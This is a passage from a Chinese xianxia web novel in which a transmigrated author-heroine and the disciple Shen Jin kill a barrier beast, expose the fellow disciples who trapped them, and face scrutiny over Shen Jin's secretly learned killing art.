赵惊堂秦修卓明等人来的时候境幽结界的缺口都已被打开了几寸,秦修见状心思惊恐,拽着赵惊堂的衣角便问:“师兄!这怎么办啊!万一……”
万一沈烬和小宫主还活着,那等他们被救出来,死的可就是他们了……
“慌什么!”
赵惊堂自然也明白这其中的利害,可人已经随同宫的弟子们到这儿了,不做做样子也不行。
他冷斥了一句,随后指尖一道红光跟着打过去,佯装使力的样子却未输半分灵力。
-
结界里,凌酒酒被瞬间高举到天上,整个人也蓦地失声尖叫,能感觉到那蛇尾也在渐渐蜷紧似想要卷死她。
沈烬见状一道灵力打过去直接打向鸟头的眼睛,趁它哀鸣躲避的刹那又一道灵力打在它的蛇尾上。
蛇尾吃痛瑟缩了一下凌酒酒便直接从缝隙中坠落下来。
沈烬飞身过去接住她,在落地的刹那取出一张符纸在周身打了片防护咒。
剧烈红光蔓延在两人身边形成了一个坚固的光罩,他趁机探寻了下她的状况。
得知无大碍,沈烬自知这样不行,决定试试另一个方法。
玄龟已经开始啄起防护罩,“当”、“当”!巨大声响击得罩中人都一阵心肺动荡。
沈烬在咒被啄破的刹那带着凌酒酒飞快闪避到稍远一些的地方开始催动“肃杀”。
他取出四张符咒,符纸在他掌中渐渐闪出闪烁的红光,凌酒酒见状隐约猜出他要做什么下意识握了他的手,“沈烬?”
沈烬只说:“还记得我和你说的吗?”
——趁时机,赶紧出去,稳住你的飒踏,向前勿回!
他说着起身飞快褪掉了自己黑色劲装的外衫,露出其中的白色里衣。
只见那白色里衣上也用血迹字走龙蛇地画了一个巨大的符咒,正是一道巨大的肃杀咒。
而咒纹正微微闪着七杀阴红的光。
没错,沈烬的第二个方法便是以自身为咒,既然蒙蔽不了它,那就杀了它!
七杀最强劲的肃杀咒足以诛杀最凶悍的凶兽的。
可这方法险之又险,无异于以身为饵入龙潭虎穴,稍一不甚是就是同归于尽玉石俱焚的。
“沈烬!”凌酒酒不知怎的这刻喉咙突然有种被堵住的感觉。沈烬已经催动手中的四道符咒笔直地朝着玄龟的四肢龟脚打过去。
肃杀符打在龟兽的脚上一瞬迸发的力量就如同千万只利箭直刺进它的脚板,它也蓦地高号一声当真跌到地上。而沈烬下一秒将另两道覆明咒已经缚在它的眼睛上蒙住它的视野趁机飞身至它的鸟头之上。
“走!”他对凌酒酒说。
凌酒酒闭了闭眼睛稳住心绪又拿出两张锢身符,倏地钉上它的尾巴,而后试着催动飒踏艰难地行向结界的缺口。
玄龟看不见东西尾巴又动不了,四肢的疼痛便令它更加格外狂躁地甩起身体来。
它被咒钉住的尾巴后的一小截疯狂甩动,笨重石壁一样的身体也拍打着地面与结界噼啪作响,头疯狂地摆动。沈烬立在它头上数次都险些被它甩落下去,紧揪着它头上一缕杂草似的羽毛才勉强稳住。
凌酒酒小心翼翼地避着玄龟的蛇尾,终于逼近结界的缺口。
就这时,原本只一人宽大小的缺口似乎从外更撕大了一些,结界外若隐若现的一幕映入眼帘瞬时讶叫:
“娘!”
“酒酒!”凌云木自然也一瞬看见了凌酒酒的脸,结界破口随着她手上动作的微松瞬时又缩小了一些。贪狼星君和天同星君见状也立刻一凛肃声道:“合力!”
更盛的诸星灵力如疾风箭雨击在结界壁上,强撑着不令破口减小,凌云木已经飞身上前试着只身入境。
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赵惊堂见状震讶地睁了睁眼缩开手。
这边沈烬伏在鸟头之上掌握着平衡,而玄龟已一瞬破开了眼睛上的覆明咒似发现了他正在头上,厉嚎一声愤怒地狂甩头部似要将他甩掉。
它尾巴无意识地一扫恰扫到临近结界口的凌酒酒,凌酒酒骤地从半空被打落坠在地上吐出一口血。
“酒酒!”结界外的凌云木也一瞬惊呼。
赵惊堂暗暗大快人心地攥了下拳头。
凌云木手中更急了,更快地催动术法誓要以身入境。
沈烬无暇顾及其他,紧攥着玄龟鸟头的羽毛盯着它近在咫尺的眼睛,蓦地狠厉伸出手去朝它左眼上打去一道肃杀咒。
乌红的血瞬间从它的眼中迸出来,它也彻底发出一声绝对尖唳的嘶鸣,刺耳的声浪击得结界外不少人都一瞬弹开倒在地上。
打头的十四星君不少人已经弯身呕一口血来。凌云木被击得很远。凌酒酒操动着飒踏也不禁涌了一口血跌撞地在结界壁与蛇尾上撞了两下,在飒踏术消失的刹那手仓促勾住结界缺口的边缘悬在半空。
“酒酒……”凌云木捂着胸口忍痛伸手去够她似想将她从结界中拉出来,贪狼星君等人也立即上前,拼命撑着结界的开口。
这边沈烬整个人半跪在鸟头上也蓦地涌出一大口反噬的血,他盯着它另一只还完好的眼睛却似在笑,低道:“没有你死我亡……”
“……只有你死!”
他身上灵咒的光芒越来越盛,阖眸催动肃杀,整个人也当真像张巨大的符纸般闪耀着夺目的殷红的光——
凌酒酒在远处见状挣扎地闭了闭眼,倏地像横下心般拿出最后一张一张符纸念动飒踏诀,带动她直奔沈烬那头而去——
“酒酒——!”凌云木惊呼一声。
立在沈烬身后,凌酒酒开始闭目结印催动天同铸。
耀目的蓝色与红色的光在两人身上闪烁,绚丽的七杀与天同的图纹盘旋在上空,很快如一副刚好混元的各半乾坤图融在一起,飞速地在旋转融汇。
凌酒酒:“天同在辰,朱鸟在卯,勾陈在子,玄武在戌!”
沈烬:“天圆地方,七杀伏藏,出之申酉,入以丑未!”
凌酒酒:“辰为满,卯为除,子为开,戌为成——”
沈烬:“申主破,酉为危,丑为闭,未从执——”
凌酒酒沈烬:“——术成!”
刹那仿佛有道红蓝相间的利剑从天而降——逼目灵光自天空直直向下刺破!直接穿破了玄龟的鸟头将它横穿一般钉在地上——
发出一声格外尖锐的凄鸣!
蛇尾与四肢痛苦地胡乱挣扎摆动着,反噬的紫色光浪将两个人都弹击到远处,蓦地一一摔落在地上涌吐出一大口血。
渐渐的,它的哀鸣声慢慢渐弱了,蛇尾也慢慢地平息在原地,鸟头无力地垂下来。
周身的结界仿佛缓慢燃烧一般在渐渐烧灼消失,凌云木、十四星君、和无数星宫弟子等人也渐渐出现在视野里。他们还讶异地望着眼前的场景,像许久不曾缓过神来,半晌才如梦初醒一般地纷纷涌上前。
“酒酒!”
“小宫主!”
“酒酒!”
……
凌酒酒看得却是沈烬,胸肺如绞说不出话。
她口中泣血,只能僵硬地动动满是血泥的指尖朝他的方向伸了伸,半晌神情复杂地虚弱朝他一笑。
沈烬伤得也不轻,身上脸上满是血迹,浑身上下都是杀咒反噬来的伤口。他伏在地上也在静静看着她许久像艰难地弯弯唇角。
在凌酒酒失去意识前,看到的最后一幕画面是好像有无数人跑到她身前,眼前仿佛蒙了一片迷蒙的雾般模糊不清,只剩下听觉还渺远地捕捉到一句。
“酒酒——”
27.027.醒来
凌酒酒好像做了一个很长很长的梦。
梦里,她不知道她在哪儿,不知道她是谁,不知道自己是现代的大学生网文作者凌酒酒还是栖星宫的小宫主,只知道自己的名字叫做凌酒酒。
她写了一部小说,小说的成绩上线后并不算好。同期排挤、编辑打压、读者谩骂。主编将她的文字批判得狗屎不如,她心急气怒,却所求无门,气恼绝望。
“凌酒酒!你不就是一个破写网文的么!你牛什么?在这个网站,我就是天!你不按照我说的想法改,你这破小说就等着被埋吧!他一个反派你写他那么多心理和故事线干什么?坏就是坏,你管他怎么坏的呢?你就多写男女主甜甜甜不就完事儿了么!”
凌酒酒:“不是……主编,咱这人物前后得自洽啊是不是?纵然是反派他也有血有肉,他不能……”
“你别给我说什么血啊肉啊的我听不懂!反正我就知道你现在这破书什么都不是,反正我还是那句话,你不按我说的改,你就别想有一点流量,你这几个月的稿费也别想再拿到了你!”
……
“啊,作者你没事吧?有你这么虐人的吗?就你给沈烬经历的这些,换谁谁不黑化!”
“你就应该穿到你自己的书里,感受一下自己笔下的人物究竟过得有多惨!然后被困在你的书里,成为被人欺负打压的蛆虫蝼蚁!发烂!发臭!!”
……
沈烬……
沈烬……
周围场景又倏然变了,变成了浩瀚无垠的栖星宫。
那个原本只存在她文字里的少年清晰真实地站在她眼前。乌睫黑发,苍白似雪,冷峻沉静的模样总显得很渺远。
他教了她飒踏、在她眼前受过钉刑、从万丈的天空上俯冲下来接住了她。
最后的画面,是他立在一个异兽的头上对她说:“走!向前勿回!”
但她毅然决然地回去了,同他共同催动着天同铸与“肃杀”的刹那,他的“肃杀”却猛然对准了她——
他用一双泣血似的眼睛盯着她对她说着:
“听说,都是因为你。”
“因为你,我受尽屈辱,为世人痛骂。因为你,我命如蝼蚁……”
“沈烬——”凌酒酒瞬时惊醒。
一把从床上弹坐起来,凌酒酒平息了一会儿呼吸还恍然不知是虚是实,过会儿才意识过来自己身处卧雪居。
阿雾舀着一碗药蹦蹦跶跶地走进来,看见她醒了立刻惊喜,“小宫主,你醒啦!”
凌酒酒怔怔看看她,“我这是……”
阿雾:“小宫主你忘啦?你和沈烬误闯了境幽结界,三天前宫中诸星君已经合力将你们救出了,呃……当然了也是你们给力,合杀了境幽里的玄龟兽。你在当时就已经灵力殆尽晕倒啦!天医星君和宫主等人连守了你两天两夜,你现在可终于醒了,比天医星君预测的醒时还要早一些嘛!”
凌酒酒看了看自己身上早已重新包扎过的伤恍悟,未想竟然已经过了三天……又突想起忙问:“那沈烬呢?”
“他在第一天就醒了呀。”阿雾道:“不过小宫主,你和沈烬到底怎么回事啊?怎么会到境幽的?那境幽里又都有什么呀?还有你睡觉的时候一直在叫着什么沈烬、黑化、猪鞭……沈烬怎么啦?谁黑化啦?猪鞭又是什么那境幽里不仅有玄龟还有猪哇?”
凌酒酒已经飞快下床跑向桃夭居。
“诶——”阿雾惊讶地想要去拦,却压根没拦住。
凌酒酒的身影已经飞快消失在门口。
阿雾愣愣地看着她身影消失的方向眨眨眼睛,“你是不是忘了你腿还瘸着呐……”
凌酒酒这边刚一跑出卧雪居,恰见沈烬。
她一顿。
他似乎也正从桃夭居往卧雪居的方向而来,身上早已换了一件干净整洁的天同宫服。
伤病初愈,他脸上还带着一点病态的苍白。眉目清淡,白衣胜雪,站在晚春初化的雪里挺拔又清隽。
似乎也看见她,他的脚步也在一瞬间停了下。两人就隔着几步外的距离静静相视。
不知怎的,凌酒酒原本感觉自己同他共患难劫后生应当该是有挺多话想说的,可是这会儿真看见他却又什么话都说不出来的,只觉得喉咙堵堵的心尖也酸酸的眼圈居然红了。
沈烬也微抿唇垂了垂眼睫,很快听不出情绪地问:“不疼?”
凌酒酒疑惑看他一眼。
他指了下她还裹着固定的右脚踝。
凌酒酒这才想起自己还骨折着呢!下一刻后知后觉的剧痛才突然涌上来,立刻身子一歪痛呼一声,“哎呦……”
“……”沈烬摇摇头手中一划,院中一个原本放在树下的木凳直接一道滑到她身后。
刚好接住她跌坐下来的姿势。
凌酒酒坐在凳子上小心翼翼地呵护了护自己的脚,抽抽鼻子看他,“沈烬,你身上的伤怎么样了?”
“无碍。有天医星君的灵药,伤愈很快。”
凌酒酒这才放心地点点头,又问:“那、那境幽那只玄龟,怎么样了?真被我们杀了吗?那境幽结界破了?那那个……”
一想到“天刹”,凌酒酒忽地又背脊一凉,生怕他发现什么。
只听沈烬道:“玄龟已死,境幽结界业已破,诸星君皆已检查过。说来奇怪,那龟身上的旋涡我当时触之心神受荡,龟死后却再无功效,我问过诸星君,诸星君也不知道那是什么。”
凌酒酒一听暗松口气心也微微落下来,一时心情复杂。
那既然天刹法破了,沈烬也就不会再修天刹了。
他的结局……已经算是被她改变了吧?
她一时心中竟有一种说不上高不高兴的陈杂感觉。刚想再问什么,门口已又进来一道身影惊喜道:“酒酒,你醒了?”
任紫依连忙进来同她慰问寒暄了几句,最后对她与沈烬一同道:“你醒来的正好。沈烬,宫主与诸星君恰好想召你去紫微殿为你与酒酒为何会身至境幽一事问话。”
-
赵惊堂和秦修卓明这几天可谓是日夜折磨,煎熬不堪。
沈烬和凌酒酒被从境幽里救了出来,一旦供出他们他们可真就离死期不远了。他也真是奇了怪了,都说境幽之界有去无回,怎么偏偏他们俩就这么俩就这么命大呢?
那只没用的玄龟怎么就没咬死他们呢!
好在,听说自那日从境幽回来后凌酒酒一直昏迷,沈烬已经醒了,却没有供出他。
想来他也不敢就这么供出他,而他这几日早就已经想好了脱身的说辞,他们无凭无据量他们也没法轻易举证他。
只是这天午后,从紫微宫传令宫主与诸星君立召赵惊堂与秦修卓明几人至紫微殿问话,还是不由一悚。
一入紫微殿,宫主与诸星君果然皆在,凌酒酒和沈烬也在。
凌酒酒杵着个拐杖,沈烬静立在她旁边,二人双双苍白得像两个雪人,场面庄严肃穆透着郑重。
尽管已经做过无数次心里预设,赵惊堂还是有些心头打鼓。秦修和卓明两人腿都已经打颤了。而凌酒酒见到他们一瞬恨不得咬牙切齿地抬起拐杖一棒子打过来。
被沈烬轻拉住摇摇头才作罢。
在殿下拜过礼。凌云木开口,“赵惊堂,秦修,卓明,你们可知错?”
赵惊堂扑通跪在地上马上说:“并非是弟子害小宫主与沈师兄,请宫主与诸星君明鉴!”
“啊哈!露馅了吧!”哪知凌酒酒这一刻却突然狡黠笑起来,杵着拐杖一蹦一蹦地都要蹦到众人面前来道:“宫主,诸位星君,原因已显然,多余的就不用我和沈烬多说了吧?”
原来是凌酒酒和沈烬上来问话之后,不曾直接告知原由,只道:“还请七杀星君先将门下弟子赵惊堂、秦修、卓明等人请上殿来,一问便是。”
他这一语无异于自爆,赵惊堂咬牙气恼地瞪了她一眼再次俯了一大礼,道:“并非弟子自认,只是近来门中最大一事便是小宫主与沈师兄失踪于境幽一事,方才一进门便见小宫主与沈师兄在此,猜测着定是询问此事。”
“弟子知先前与小宫主和沈师兄有些摩擦过节,但定不会下此等杀手。小宫主,沈师兄,我向先前开罪您二人之事向你们赔罪,但还请
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你们勿要用此事挟嫌报怨,我赵惊堂先前开罪你们是我不对,但万担不起杀害同门之罪!”
凌酒酒哽了一下简直被他说得像蒙头打了一棒。我靠这也行?这死的说成活的的能力放在现代妥妥一个诡辩辩手啊!也太能颠倒黑白了吧!
她刚想上前一步去驳,哪知沈烬又微微拽住她摇摇头,而后用种静观其变的眼神示意。
场面一时便陷入了一种僵滞,赵惊堂一口咬定并非是自己害了凌酒酒与沈烬,且有足够的不在场的证据。
凌酒酒也咬定了就是他和秦修两人将她和沈烬打入境幽。
凝滞间,倒是贪狼星君绯卿像从中敏锐地捕捉到什么疑点,问了声:“你说,那日申时,你们三个一直在七杀宫的书斋堂堂课,只是一直在睡觉,是么?”
赵惊堂抑下心中的忐忑道了声,“是。”
绯卿唇角一勾像隐隐有了什么猜测,却是转而对天巫星君道:“师伯,我听闻您前段日子曾做出一个新的傀儡符,用之逼真程度可谓出神入化,行止语气皆如出一辙,甚至能连最亲近的人都认不出。可是当真?”
赵惊堂和秦修闻言不由心尖一跳。而天巫星君闻言已经狐疑地点头回道:“确实。怎么?”
绯卿:“据我听闻您先前在堂课中可是显摆过,却不知,您那库存可曾少了没有?”
言毕四下不少人已经明白了贪狼星君的所言所指。赵惊堂悄然捏紧指尖。天巫星君怔了怔也立即吩咐他的星从至他所执掌的“墓”殿盘点一二。
很快,星从归来称大多符咒库存皆无一失。唯有傀儡符——的确少了三张。
场面一时窸窸窣窣响起探讨。七杀星君顿蹙眉。而凌酒酒更是讶异地“哇哦”了声和沈烬对视了一眼。
绯卿又道:“我还听闻,此符时辰有限,至多两个时辰便会术消了,但若符篆不毁,傀儡身便会一直存在。天巫师伯当初为防有人滥用此符,特意下了咒印唯有铸符人可毁,可是当真?”
当赵惊堂衣柜里的赵惊堂秦修卓明的傀儡被搜查出至紫微殿的时候,整个大殿才彻底漫开哗然!真相大白。
赵惊堂和秦修的脸都白了,紧咬着牙看着那两个傀儡却一时再说不出狡辩的话。
“逆徒!”七杀星君神色厉凛,已经一翻手将他们三个直接打得原地滑出几米外吐出一口血。
栖星宫内最忌同门相残,更遑论是这般的痛下杀手,凌云木都不禁冷沉下了脸。
贪狼星君绯卿摇着扇子喜闻乐见。
当七杀星君再想再一掌打过去的时候,卓明突然拼命从地上爬起来跪下,连连磕头说:“师父,是赵师兄逼我的!他一直霸凌我们替他做事不然就一直打我们还用隐伤咒隐藏着不让人发现,沈烬……沈师兄都知道!他那天看到过我的伤!我真的也是没办法师父!”
他央求看向沈烬,沈烬蹙眉。
秦修也说:“是啊师父!诸位星君、宫主,是赵师兄一直逼我们!他说……说若小宫主不死死得就是我们!求您们明鉴!”
赵惊堂咬牙盯着他们两个面目已透出阴狠,这两个叛徒杂碎!
七杀星君手掌灵力微顿刚想要打在赵惊堂身上的时候,赵惊堂却突然毅然决然挺起身万分怨恨不忿地说:“我这样做,还不是因为是这栖星宫执法不公,徇私偏颇!我数次被他们两人欺压侮辱,可上至宫主下至星君却都轻轻揭过无一人愿为我做主!凭什么?我不服!”
一道掌风倏地打在他的身上,赵惊堂整个人又翻出几米跪地涌出一口血,却仍在说:“我不服!”
凌云木甩袖起身质问他究竟是因何觉得栖星宫不公?赵惊堂忽然指住凌酒酒怒道:“上次您答应我会将她欺辱我一事秉公处置有个交代,可是最终却还是不了了之。还有他——”他又指住沈烬。
“师父与诸宫星君都曾声言过,沈烬不可学我七杀本命术法!可他那日诛杀玄龟兽用的是什么?是‘肃杀’!”
“这栖星宫中若永远是这般规矩说一套表面做一套,那我这栖星弟子不做也罢!我就是不服!凭什么你们对他们永远特例偏袒!凭什么!”
28.028.可惜
此话一处,场上不少人都倏然安静了。
很快,不少人的目光也纷纷落在沈烬身上,神色各异,部分人的目光中已然透出一些质询的冷意。
甚至是因忌惮而欲除之的杀意。
沈烬静静迎着周身的视线渐抿起唇,深黑的眸子也渐渐泛冷。
沈烬有种很奇特的感觉,不明白为什么好像无论什么事,最终推引到他的身上时最终都会成为他的罪行与过错。
今日这大殿上的一切本是为了追查谋害他与凌酒酒至境幽一事的凶手,而此刻,所有的矛头却又直指向了他。
他唇边微泛起一丝讽笑。
很快,果然已经有星君站出来以诘责的姿态站在沈烬面前,凝声问道:“沈烬,你怎会‘肃杀’之法?”
沈烬冷漠回视还未等说话。凌酒酒已经先一步仓促开了口,“宫主!诸位星君,弟子以为……学以术法者,本就是为了护身自保或救济天下,怎就成了罪过了?沈烬用‘肃杀’,又没有害人,怎么现在因为他身怀‘肃杀’反而有罪的就成了他呢!”
“你这是偷换概念!”赵惊堂立刻道:“现在问的是他明明不能学‘肃杀’之法,却身怀此功法,是怎么偷来的?而这么偷学,又是否有违诸星君所说的法度门规?”
“我就敢问各位星君,若他当真是私下偷学了‘肃杀’,各位星君是否要秉公处罚?若没有偷……哦不,他已经偷了!不然他这一身肃杀咒又是从何而来?所以诸位星君,此罪,你们罚是不罚!”
“是你在偷换概念!”凌酒酒要气急了,狠狠瞪过去一眼斥驳,“沈烬用‘肃杀’护身,而你却用‘肃杀’害人!说起来,到底是谁不该学‘肃杀’?!是,沈烬或许因为此前身藏‘肃杀’而没有让人发现成了有罪,可在那天那等的情况下,他若再不用他就死了!”
“我也敢问诸位,”她又一环视周身的众人,“沈烬此前可用‘肃杀’害过一人否?七杀宫内,又是谁人用‘肃杀’害我二人入了境幽!诸位设身处地,若是当时诸位在那般境地之下,深藏不可露却可保命的术法,是用还是不用?你们是选择在众目睽睽之下等死,还是奋起一搏呢!”
她最后看向沈烬,忽然很后悔当初给他写了这个设定,这些人畏他、忌惮他、防他,就不允许他身怀于他本命而言本就天经地义的术法。
对不起。
可她突然也很庆幸,给他写了永不折输的性格与骨血,让他永远有力自保脱离险境。
沈烬看着她微红的眼神心中微怔,悄无声息在她的手臂上轻按了下。
少顷,他正身走到众人面前,撩开衣摆跪下。
“我的确偷学‘肃杀’之法。”
“沈烬……”凌酒酒见状心中微惊。而赵惊堂更是得意地一笑。
他说着倏地起手点上自己最中枢的灵脉,看上去就要自废功法。
周围有数位星君见状大惊,凌云木甚至倏地从座位上站起来。
七杀星君眉目一凛已经先一步上前眼疾手快重封住他灵脉,而后抓住他的手臂向前倏地掌心相对。
一股气浪就猛地在两人的掌心间漫开,看着像是渡气亦像是在反吸他的灵力。
凌酒酒见状下意识想去拦,却被天同星君悄声抓住摇摇头。
很快就见沈烬像隐忍难受似的弯下背脊皱了皱眉,在掌心分离气浪消散的刹那手杵地捂着胸低喘了一下。
一旁的赵惊堂见状像看明白了什么,忽然不可思议撕开了一声冷笑,“哈!我就知道……宫主!师父,你们还有何话说?你们还说这栖星宫法度公正不偏颇于他!”
“他偷学之罪你们不惩治任何还阻他自废功法,却对我等这般厉行严苛……这栖星宫果然就是个笑话!哈哈哈笑话!”
凌云木已然拂袖做了处置。
“赵惊堂、秦修、卓明三人,枉顾门规、戕害同门、心手狠绝,罪不容诛!”
“念及秦修、卓明二人为赵惊堂威胁逼迫所至,死罪可免,但活罪难逃,各罚以星魂钉三道,鞭二百则,闭门思过;”
“赵惊堂死有余僇,然栖星宫不主杀戮,罚以星魂钉二十道,鞭三百,废其内元,逐出宫门!”
秦修卓明两人立刻哀声磕头哭求,立刻已有星从上前将他们三人带下去。
赵惊堂却还在笑,笑得凄厉绝望,仍在口口声声地喊着:“哈哈哈可笑……真是可笑!你们等着瞧吧,这栖星宫,早晚会因你们覆灭了!”
“你们不废他灵力术法,早晚……这个灾星会让你们好看的!我就等着看你们栖星宫的报应,报应!啊哈哈哈哈哈哈……”
这话让场中部分人的神色微变。
凌酒酒半蹲在沈烬的身旁扶着他的手臂,嫌恶地瞪他一眼。
凌云木在几人被带走后起身走到了凌酒酒和沈烬的身前。
“酒酒,你们也先回吧。你重伤初愈,还是要多休养才是。沈烬……”
她看向沈烬,顿了一顿,最终还是说:“仔细调养,其余的,过后再说。勿要多虑。”
“谢谢娘!”凌酒酒暗松了口气赶紧扶起沈烬就要先走为上。沈烬也道了声,“谢宫主。”同凌酒酒结伴离去了。
等他们两人都离开了紫微殿。武曲星君先一步大步跨上前来,对着七杀星君便疾问:“是你授得他‘肃杀’?”
七杀星君敛眸默了片刻才沉声道:“不是我。”
武曲星君简直心急如焚,原地绕着圈似的打转了两下像思忖着什么,很快一摆袖笃声道:“不管是谁,要我说,当赶紧废了他的‘肃杀’才好!此子身上本就多灾煞杀伐之气,若真练成了‘肃杀’,还指不定真会像那赵惊堂说的发生什么,防患未然才是!”
贪狼星君在旁意味深长地瞟了一眼,凌云木已经安稳众心般地说:“行了。”
她道:“酒酒所言也未有不妥,此次若非是沈烬身怀‘肃杀’,说不定,酒酒和他都要死在境幽里面了。如今他救了酒酒后又废其术法,岂不是过河拆桥之举,看在阖宫眼里也实为失妥。何况我这个身为酒酒母亲的宫主,又怎么能下得去手?”
一番话说得周围原本也有些犹疑不定的人们也不禁有些哑口,纷纷不说话了。
武曲星君理屈结舌,但又实在迈不过自己那道坎般,最终撂下一句“那你们自己先看着办吧”拂袖离去。
贪狼星君微挑挑眉,很快也声称告退勾着天同
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星君的脖子离去。其他星君也纷纷散了场。
等殿中只剩下凌云木和七杀星君两人时,两人沉默许久,凌云木默默看向了七杀星君。
七杀星君就被她这说不出情绪的眼神看得不由神色微僵,下意识说了句:“真不是我。”
凌云木失笑,心领神会似的勾勾唇角。
不必他说她大概都能猜到是怎么回事。
她望着大殿外的穹顶天空,只问:“功法几何?”
七杀星君怔讶了下讶异地看了看她,很快叹息般情绪不明地道:“高阶,四层。”
凌云木一顿,少顷又一叹,“自学都能至高阶四层……”
“当真是……”可惜了。
他本该,是下一任的七杀星君的。
-
七杀星君回到七杀宫时,心情也万分复杂。有弟子来禀赵惊堂三人已经被押送“死”殿,天刑星君着人来询此番是由“死”殿行刑还是七杀星君亲自掌刑。
“让天刑星君看着定夺吧。”七杀星君说:“行罚后,将他三人带回七杀宫关押吧,勿让‘死’殿人笑话。”
“是。”弟子下去了。
等七杀星君所居的无问居空无一人时,一道身影才从外闪现进来,进门便大咧咧问:“星君!怎么样啊什么情况啊?我听闻说本来是查沈烬他们是怎么进境幽的结果查着查着变成了沈烬怎么会‘肃杀’的?沈烬他……”
七杀星君只是疲累似的摆摆手,扶额歇息。
娄金狗悄悄观察着他的神情,“那……星君,下一次的心法,还送吗?”
“先停一停吧。”七杀星君说。
他也一叹,望着自己桌案角整齐摆放的几本“肃杀”心法呢喃,“确实是可惜了。”
-
凌酒酒在天同宫又好吃好喝地休养了数日,腿上的伤终于好的差不多了。
如今休沐期结束在即,她此前和诸星君们的约定之日也快到了,但也不知是否是境幽这一遭让不少人受了惊,竟再没有人和她提过这件事。
沈烬这些时日来也没再催促着她早起修炼学习,自那日从紫微殿回来后便日常在桃夭居闭关调息,只偶尔到卧雪居来看一看她。
天同星君泊尘对她的期望也仿佛从出人头地变成了四肢健全能喘气就行。凌酒酒心虚意懒地摸了几天鱼,反而是自己有点过意不去,这天自行捧着本《天文训》坐在卧雪居的院子中边背边摇椅。
“天有九野,九千九百九十九隅,去地五亿万里;五星、八风、二十八宿……”
天文训倏地耷拉在脑袋上,凌酒酒悠哒悠哒地晃着叹息。
“好无聊啊……怪不得沈烬他们一个个的都这么爱学习,这大好时光要不能心安理得摆烂除了学习还能干什么啊,我这回会背了怎么反而没人考我了啊!好无聊啊!!”
脑海中这时突然响起一声,【宿主。】
刚开始听见那一声的时候,凌酒酒还以为是自己幻听了。
紧接着,当脑海里清晰响起第二声【宿主】时,凌酒酒猛地从摇椅上支棱起身。
满心的好心情立即秒炸。
我靠!
它居然还敢回来啊!
29.029.考核
确定周围无人,凌酒酒站起来就直接痛骂:“我靠你****你还敢回来啊!你先前是死哪儿去了!你平时消极怠工也就算了你知不知道前些天我到底经历了什么啊!我差点就死了!死了!!我不管这是场游戏还是什么你之前也没和我说过这地方是真要人命的,你今天不给我一个解释这事没完了!”
系统这会儿反而像乖觉了一样,安静听她骂完后道:【宿主,您还有脚伤,请您先坐下。】
“你现在还有工夫管脚伤?!!”凌酒酒更气了,“你是不是没听明白我刚刚说什么,我说我差点死了!我告诉你你现在就好像是我身上的寄生虫我要是死了你以为你会有什么好下场的?所以你给我如实说你那之前到底哪儿去了!”
系统沉默了,片晌凌酒酒才听它像叹了一息似的,道:【宿主,即便当时我在,也无济于事。】
“什么意思?”
系统:【我先前便对您说过,我所知的讯息,与您书中所写的一致。】
【我知道的,您都知道。您不知的,我也未知。所以当时即便我在场,也无法给您指明一条明路,解决问题突破困境的关键,仍旧在于您。】
凌酒酒一时沉默了,但仍不甘气忿地道:“那,那即便你什么都不知道,当时那个境况好歹出来帮忙出谋划策一下也行吧!就眼睁睁看着我差点死么?就像我说的我是你宿主我要是死了你应该也没什么好下场,你都不怕么!”
系统默了默又道:【宿主,对于我而言,您就像是我所寄生于存的一个世界。】
【就像您生存的是现在眼前的这个世界,您就是我身存的世界。当一个世界坍塌时,世界内的一切都在劫难逃。就像河堤坍塌必毁周遭蚁穴,城门失火必殃池鱼,所以,我不能怕,也无法怕。】
凌酒酒这一下彻底被它说得沉默了,一时思绪纷杂说不出话。
但许久,她还是缓缓坐在了摇椅上,晃了晃说:“但对我而言,一个世界坍塌时可能我人单力薄无力回天,但也不会眼睁睁的就看着它坍塌的!”
“总要试试不是么?总要试试的……”
……
凌酒酒在这儿和系统还在扯掰着说不明白的哲学问题时,“死”殿赵惊堂等人的行罚也刚好结束。二十道星魂钉下去赵惊堂整个人已然没了半条命,凄厉的呜喊声都呜咽不出,鲜红的血在地面延流成河,空气里都蕴着一股浓郁的血腥味。
当天被带回七杀宫,秦修、卓明二人先直接被带到卧舍养伤。
而赵惊堂则被关押在七杀牢里等候择日的放逐。
夜晚的七杀牢夜风寒凉,牢狱四周密闭的七杀阵却为火阵,直激得人一阵冰火两重天似的煎熬。
赵惊堂倒在地上凄惨呜咽,求生不得求死难能,口中还在一直絮絮地骂着“沈烬”、“凌酒酒”、“栖星宫”。
某一瞬,牢狱门外似乎停下脚步声。
有人来了。
赵惊堂费力仰起头去看,却见竟是卓明立在门口。
他也刚受过星魂钉刑,脸色极不好。穿着身黑衣裳站在那儿整个人像是融合进夜色里,用种平日那般怯懦的表情低眸道:“师兄。”
赵惊堂原本哀凄的神色立刻变了,咬牙切齿地盯着他啐了声,“叛徒!”
卓明只低着眸,“师兄……对不住了。”
“呸!”他更用力地啐了口,粘稠的混着血水的唾沫都险些溅到卓明的身上,恨意的眼神都恨不得化成刀刃刀死他,“杂碎……贱种!我早知你这么无耻,我就应该在当初就打死你!你个狗东西!贱种!”
卓明只是沉默着脸听他骂着,像难过似的低声说:“师兄,我不明白,你为何总是这样对待我和秦修……明明我们已经很听你的话,明明我们几乎什么都没做过,却总是被你霸凌打骂,我真是不明白为什么,是不是在你眼里,我们真的不如一只狗……”
“少给你们脸上贴金了!”赵惊堂冷哂,“狗?……狗我还能赏块骨头,你和秦修两个本就是猪狗不如的东西,不过就是我手底下的两个杂碎罢了!还妄想当狗?”
“别以为你和秦修两个人这次供出我就没事了,这栖星宫人才辈出,凭你们这蠢笨如猪似的资质早晚有一天会被逐出宫!我就在栖星宫外等着你们,你们最好祈祷你们晚一些被逐出去,否则我若活着我一定将你们两个千刀万剐了!我就算死了,也会变成厉鬼杀了你们!还有沈烬和那个凌酒酒!你们等着!等着!”
秦修躲在一墙之后的暗处像忿忿地握紧拳。而卓明缓缓在他面前蹲下了身叹息似的说:“可惜了……”
“是啊,真可惜!”赵惊堂:“我早就该打死你们两个……那日在境幽我就应该把你们两个也扔下去!可惜了!”
卓明闭了闭眼,再睁开时眸里映出他一张血迹斑斑的脸庞闪过了一丝不可言喻的神色,仍旧像惋惜难过似的问:“师兄,你一直说我们是你手下的杂碎,说我们蠢笨如猪,但你可曾想过,你究竟为什么这么恨沈烬?”
赵惊堂怔了一下一时好像没反应过来什么意思,转瞬咬牙道:“沈烬此人阴邪恶劣,自然可恨!”
“不止。”卓明那一贯胆怯怯弱的目光此刻却令赵惊堂错觉有种诡异的光,“我是说,当初在初学堂时,我刚认识你的时候,你忘了……”
赵惊堂顿了顿仿佛恍然意识到什么,一悚。
赵惊堂当年拜入栖星宫时,比沈烬晚了数月。在当时同届弟子中其实勉强也算资质上乘的弟子之一。
